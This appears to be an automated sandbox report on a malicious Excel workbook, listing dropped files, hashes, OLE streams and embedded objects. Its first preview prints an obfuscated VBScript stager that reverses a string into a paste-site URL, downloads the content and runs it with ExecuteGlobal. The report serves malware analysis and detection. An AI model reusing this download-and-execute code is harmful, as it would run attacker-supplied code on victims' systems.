Preview:	..S.e.t. .r.e.c.t.i.t.u.d.e. .=. .C.r.e.a.t.e.O.b.j.e.c.t.(.".W.i.n.H.t.t.p...W.i.n.H.t.t.p.R.e.q.u.e.s.t...5...1.".).....o.l.i.g.o.t.r.o.p.h.i.a. .=. .S.t.r.r.e.v.e.r.s.e.(.".m.X.G.n.e./.d./.e.e...e.t.s.a.p././.:.p.t.t.h.".).....r.e.c.t.i.t.u.d.e...O.p.e.n. .".G.E.T.".,.o.l.i.g.o.t.r.o.p.h.i.a.,. .F.a.l.s.e.....r.e.c.t.i.t.u.d.e...S.e.n.d.....a.z.e.i.t.a.d.o. .=. .r.e.c.t.i.t.u.d.e...R.e.s.p.o.n.s.e.T.e.x.t.....f.i.d.a.l.g.u.e.t.e. .a.z.e.i.t.a.d.o.....F.u.n.c.t.i.o.n. .f.i.d.a.l.g.u.e.t.e.(.a.m.e.d.r.o.n.t.a.d.o.).....E.x.e.c.u.t.e.G.l.o.b.a.l. .a.m.e.d.r.o.n.t.a.d.o.....E.n.d. .F.u.n.c.t.i.o.n.

C:\Users\user\Desktop\E6630000

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Thu Feb 15 13:19:29 2024, Security: 1
Category:	dropped
Size (bytes):	568320
Entropy (8bit):	7.885070503005213
Encrypted:	false
SSDEEP:	12288:lT2T8ViknTxW1VbVOQ7Z3jHAMUkDvB4UH/kIvbdHe2hnv4pAj/HL:PnW1VbVX9bUkN1nbdHeqv4aj/r
MD5:	451621259E138C144A996BD5BF77EE66
SHA1:	772776D01EF6EFCC738364711D66D76A30AC7232
SHA-256:	3E2D1CCDFB66CBD66041DB4343F5B9457393463EBF1AA3E893F283C322861375
SHA-512:	03720CDEFFCD2119E2886EDBAF3A48FEEE6C9E12CA18DE17710ED18DCFB06BE32D82C996224CD9DB5F0E172E330760F9D08697D1DFA4FBD90A7CB801BDE2AE41
Malicious:	false
Preview:	......................>.......................................................n...............p.......r.........................................................................................................................................................................................................................................................................................................................................................................................................................................../....................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-...............1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...........p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\Desktop\E6630000:Zone.Identifier

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Desktop\Product list 0980DF098A7.xls (copy)

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Thu Feb 15 13:19:29 2024, Security: 1
Category:	dropped
Size (bytes):	568320
Entropy (8bit):	7.885070503005213
Encrypted:	false
SSDEEP:	12288:lT2T8ViknTxW1VbVOQ7Z3jHAMUkDvB4UH/kIvbdHe2hnv4pAj/HL:PnW1VbVX9bUkN1nbdHeqv4aj/r
MD5:	451621259E138C144A996BD5BF77EE66
SHA1:	772776D01EF6EFCC738364711D66D76A30AC7232
SHA-256:	3E2D1CCDFB66CBD66041DB4343F5B9457393463EBF1AA3E893F283C322861375
SHA-512:	03720CDEFFCD2119E2886EDBAF3A48FEEE6C9E12CA18DE17710ED18DCFB06BE32D82C996224CD9DB5F0E172E330760F9D08697D1DFA4FBD90A7CB801BDE2AE41
Malicious:	false
Preview:	......................>.......................................................n...............p.......r.........................................................................................................................................................................................................................................................................................................................................................................................................................................../....................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-...............1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...........p...q...r...s...t...u...v...w...x...y...z...

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Thu Feb 15 01:17:58 2024, Security: 1
Entropy (8bit):	7.683865150237722
TrID:	Microsoft Excel sheet (30009/1) 47.99% Microsoft Excel sheet (alternate) (24509/1) 39.20% Generic OLE2 / Multistream Compound File (8008/1) 12.81%
File name:	Product list 0980DF098A7.xls
File size:	508'416 bytes
MD5:	0b0091320ed8b50b7f3f514536c8eddc
SHA1:	0d8c09b2e0331a93d645d67127ac86667a7aaf4e
SHA256:	baaffc0dd02ab5ab2da660fcb54c8ddfeaf0f1b26e30738f0e55d31f3fce938f
SHA512:	1bb99636e26f61bc2ed3f81ed9b48c7fe521fa1e3baac9f74f09ec5303800c6d6afc7fee0e3ad65c532d31e78fb15c8f947e64f12fae63c42dfb9ad500791a33
SSDEEP:	12288:2Tkh8VbzBZH3bVFQaMIKHlHhMjzJxb633k+yB:kRBJ3bVFYjWWkF
TLSH:	6CB40151FA80CA07E49943714DF78BAA5324FC419B928A0F320CF71D3EF47A56E27666
File Content Preview:	........................>.......................................................n...............h.......j......................................................................................................................................................

File Icon


Icon Hash:	276ea3a6a6b7bfbf

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "Product list 0980DF098A7.xls"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Author:
Last Saved By:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2024-02-15 01:17:58
Creating Application:	Microsoft Excel
Security:	1

Document Summary

Document Code Page:	1252
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	786432

Streams with VBA

VBA File Name: Sheet1.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet1
VBA File Name:	Sheet1.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . j 5 . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 6a d1 35 a5 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet2.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet2
VBA File Name:	Sheet2.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . j ~ z . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 6a d1 7e 7a 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet3.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet3
VBA File Name:	Sheet3.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . j . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 6a d1 b3 b1 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: ThisWorkbook.cls, Stream Size: 985

General
Stream Path:	_VBA_PROJECT_CUR/VBA/ThisWorkbook
VBA File Name:	ThisWorkbook.cls
Stream Size:	985
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . j . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 1 . 9 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 6a d1 b8 e5 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244

General
Stream Path:	\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	244
Entropy:	2.889430592781307
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a1 00 00 00 02 00 00 00 e4 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 200

General
Stream Path:	\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	200
Entropy:	3.2603503175049817
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . \| . # . @ . . . . n . _ . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: MBD00014726/\x1CompObj, File Type: data, Stream Size: 94

General
Stream Path:	MBD00014726/\x1CompObj
CLSID:
File Type:	data
Stream Size:	94
Entropy:	4.345966460061678
Base64 Encoded:	False
Data ASCII:	. . . . . . e . . D E S T . . . . . . A c r o b a t D o c u m e n t . . . . . . . . . A c r o E x c h . D o c u m e n t . D C . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 65 ca 01 b8 fc a1 d0 11 85 ad 44 45 53 54 00 00 11 00 00 00 41 63 72 6f 62 61 74 20 44 6f 63 75 6d 65 6e 74 00 00 00 00 00 15 00 00 00 41 63 72 6f 45 78 63 68 2e 44 6f 63 75 6d 65 6e 74 2e 44 43 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD00014726/\x1Ole, File Type: data, Stream Size: 62

General
Stream Path:	MBD00014726/\x1Ole
CLSID:
File Type:	data
Stream Size:	62
Entropy:	2.7788384466112834
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . F . . . . ! . . . . . S h e e t 2 ! O b j e c t 4 .
Data Raw:	01 00 00 02 08 00 00 00 00 00 00 00 00 00 00 00 2e 00 00 00 04 03 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 02 00 00 00 21 00 10 00 00 00 53 68 65 65 74 32 21 4f 62 6a 65 63 74 20 34 00

Stream Path: MBD00014726/CONTENTS, File Type: PDF document, version 1.7, 1 pages, Stream Size: 20909

General
Stream Path:	MBD00014726/CONTENTS
CLSID:
File Type:	PDF document, version 1.7, 1 pages
Stream Size:	20909
Entropy:	7.967116806702583
Base64 Encoded:	True
Data ASCII:	% P D F - 1 . 7 . % . 1 0 o b j . < < . / T y p e / C a t a l o g . / P a g e s 2 0 R . / A c r o F o r m 3 0 R . > > . e n d o b j . 4 0 o b j . < < . / P r o d u c e r ( 3 . 0 . 4 \\ ( 5 . 0 . 8 \\ ) ) . / M o d D a t e ( D : 2 0 2 3 0 9 2 2 0 3 2 2 4 8 + 0 2 ' 0 0 ' ) . > > . e n d o b j . 2 0 o b j . < < . / T y p e / P a g e s . / K i d s [ 5 0 R ] . / C o u n t 1 . > > . e n d o b j . 3 0 o b j . < < . / F i e l d s [ ] . / D R 6 0 R . > > . e n d
Data Raw:	25 50 44 46 2d 31 2e 37 0a 25 f6 e4 fc df 0a 31 20 30 20 6f 62 6a 0a 3c 3c 0a 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 0a 2f 50 61 67 65 73 20 32 20 30 20 52 0a 2f 41 63 72 6f 46 6f 72 6d 20 33 20 30 20 52 0a 3e 3e 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 0a 2f 50 72 6f 64 75 63 65 72 20 28 33 2e 30 2e 34 20 5c 28 35 2e 30 2e 38 5c 29 20 29 0a 2f 4d 6f 64 44 61 74 65

Stream Path: MBD00014727/\x1CompObj, File Type: data, Stream Size: 94

General
Stream Path:	MBD00014727/\x1CompObj
CLSID:
File Type:	data
Stream Size:	94
Entropy:	4.345966460061678
Base64 Encoded:	False
Data ASCII:	. . . . . . e . . D E S T . . . . . . A c r o b a t D o c u m e n t . . . . . . . . . A c r o E x c h . D o c u m e n t . D C . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 65 ca 01 b8 fc a1 d0 11 85 ad 44 45 53 54 00 00 11 00 00 00 41 63 72 6f 62 61 74 20 44 6f 63 75 6d 65 6e 74 00 00 00 00 00 15 00 00 00 41 63 72 6f 45 78 63 68 2e 44 6f 63 75 6d 65 6e 74 2e 44 43 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD00014727/\x1Ole, File Type: data, Stream Size: 62

General
Stream Path:	MBD00014727/\x1Ole
CLSID:
File Type:	data
Stream Size:	62
Entropy:	2.7788384466112834
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . F . . . . ! . . . . . S h e e t 2 ! O b j e c t 3 .
Data Raw:	01 00 00 02 08 00 00 00 00 00 00 00 00 00 00 00 2e 00 00 00 04 03 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 02 00 00 00 21 00 10 00 00 00 53 68 65 65 74 32 21 4f 62 6a 65 63 74 20 33 00

Stream Path: MBD00014727/CONTENTS, File Type: PDF document, version 1.5, 1 pages (zip deflate encoded), Stream Size: 31606

General
Stream Path:	MBD00014727/CONTENTS
CLSID:
File Type:	PDF document, version 1.5, 1 pages (zip deflate encoded)
Stream Size:	31606
Entropy:	7.916695020479147
Base64 Encoded:	True
Data ASCII:	% P D F - 1 . 5 . % . 3 0 o b j . < < / C o l o r S p a c e / D e v i c e G r a y / S u b t y p e / I m a g e / H e i g h t 7 2 / F i l t e r / F l a t e D e c o d e / T y p e / X O b j e c t / W i d t h 2 5 5 / L e n g t h 2 0 8 1 / B i t s P e r C o m p o n e n t 8 > > s t r e a m . x { P . U . & B & o 1 b F P s . R 2 . . . . * Y 6 3 . . # N L 8 T X R \| ( ( " * " < 6 ] . . { n n \| . . s ` . . , b . E . . . q . ( ` o ^ E Y . 7 N Y ] . H X ^ 3 n . . " K . . . . . . * o " . E ( > . . . . . . .
Data Raw:	25 50 44 46 2d 31 2e 35 0a 25 e2 e3 cf d3 0a 33 20 30 20 6f 62 6a 0a 3c 3c 2f 43 6f 6c 6f 72 53 70 61 63 65 2f 44 65 76 69 63 65 47 72 61 79 2f 53 75 62 74 79 70 65 2f 49 6d 61 67 65 2f 48 65 69 67 68 74 20 37 32 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 2f 57 69 64 74 68 20 32 35 35 2f 4c 65 6e 67 74 68 20 32 30 38 31 2f 42 69

Stream Path: MBD00014728/\x1CompObj, File Type: data, Stream Size: 99

General
Stream Path:	MBD00014728/\x1CompObj
CLSID:
File Type:	data
Stream Size:	99
Entropy:	3.631242196770981
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD00014728/Package, File Type: Microsoft Excel 2007+, Stream Size: 66451

General
Stream Path:	MBD00014728/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	66451
Entropy:	7.894671819264755
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . e . , . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 65 8c 03 2c b7 01 00 00 9e 06 00 00 13 00 d4 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 d0 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD00014729/\x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	MBD00014729/\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD00014729/\x5DocumentSummaryInformation, File Type: data, Stream Size: 708

General
Stream Path:	MBD00014729/\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	708
Entropy:	3.6235698530352805
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , D . . . . . . . . . . + , . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . . . 0 . . . . . . . 8 . . . . . . . @ . . . . . . . H . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 44 00 00 00 05 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 20 02 00 00 dc 01 00 00 14 00 00 00 01 00 00 00 a8 00 00 00 02 00 00 00 b0 00 00 00 03 00 00 00 bc 00 00 00 0e 00 00 00 c8 00 00 00 0f 00 00 00 d4 00 00 00 04 00 00 00 e0 00 00 00 05 00 00 00

Stream Path: MBD00014729/\x5SummaryInformation, File Type: data, Stream Size: 23248

General
Stream Path:	MBD00014729/\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	23248
Entropy:	3.0408039696548754
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . Z . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . , . . . . . . . 4 . . . . . . . < . . . . . . . D . . . . . . . L . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . v i v i e n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0 5a 00 00 11 00 00 00 01 00 00 00 90 00 00 00 02 00 00 00 98 00 00 00 03 00 00 00 a4 00 00 00 04 00 00 00 b0 00 00 00 05 00 00 00 c0 00 00 00 06 00 00 00 cc 00 00 00 07 00 00 00 d8 00 00 00 08 00 00 00 e4 00 00 00 09 00 00 00 f4 00 00 00

Stream Path: MBD00014729/Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 97808

General
Stream Path:	MBD00014729/Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	97808
Entropy:	7.36505498504314
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . 9 1 9 7 4 B . . . . a . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . . . . P . 9 . . . . . . . X . @ . . . . . . . . . . " . . . . . . . . . . . . . . .
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c9 00 02 00 06 04 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 05 00 00 39 31 39 37 34 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Stream Path: MBD0001472A/\x1Ole, File Type: data, Stream Size: 924

General
Stream Path:	MBD0001472A/\x1Ole
CLSID:
File Type:	data
Stream Size:	924
Entropy:	4.264506828978091
Base64 Encoded:	False
